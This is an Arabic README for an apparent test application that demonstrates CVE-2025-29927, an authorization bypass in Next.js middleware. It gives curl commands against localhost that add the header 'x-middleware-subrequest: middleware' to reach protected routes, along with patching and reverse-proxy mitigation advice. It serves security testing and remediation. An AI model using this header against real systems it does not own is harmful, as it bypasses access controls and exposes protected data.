
يختبر ويوضح ثغرة CVE-2025-29927، وهي تجاوز للتحقق من الصلاحيات في البرمجيات الوسيطة لـ Next.js. يتضمن سكربتات لاختبار الاستغلال والوصول العادي، بالإضافة إلى إرشادات الإصلاح.
يُظهر هذا التطبيق ثغرة تجاوز تفويض الوسيط في Next.js (CVE-2025-29927).
CVE-2025-29927 هي ثغرة تجاوز تفويض في وسيط Next.js. من خلال إرسال ترويسة HTTP مصممة خصيصًا (x-middleware-subrequest)، يمكن للمهاجم تجاوز فحوصات التفويض المنفَّذة في الوسيط، مما قد يتيح له الوصول إلى موارد محمية.
ثبّت التبعيات:
cd /var/www/react-nextjs/test-middleware-skip
npm install
شغّل خادم التطوير:
npm run dev
سيبدأ الخادم على http://localhost:3000
جرّب الوصول إلى المسار المحمي بشكل طبيعي:
npm run test-normal
أو
curl -v http://localhost:3000/protected-data
يجب أن تتلقى استجابة 401 Unauthorized، لأن الوسيط يحظر الوصول.
جرّب الوصول إلى المسار المحمي باستخدام ترويسة الاستغلال:
npm run test-exploit
أو
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
إذا كان التطبيق عرضة للثغرة، فستتلقى استجابة 200 OK مع البيانات المحمية.
الوصول العادي (يجب أن يتم حظره):
curl -v http://localhost:3000/api/protected
مع الاستغلال:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
لإصلاح هذه الثغرة، يجب عليك:
حدّث Next.js إلى إصدار مصحح:
إذا لم تتمكن من التحديث، فقم بتنفيذ وكيل عكسي (مثل Nginx أو Cloudflare) يعمل على إزالة ترويسة x-middleware-subrequest من الطلبات الواردة.
اختبر ما إذا كان مسار API عرضة للثغرة:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
تُقدَّم هذه الأداة لأغراض تعليمية واختبار أمني فقط. استخدمها للتحقق مما إذا كانت تطبيقات Next.js الخاصة بك عرضة للثغرة وتحتاج إلى تصحيح.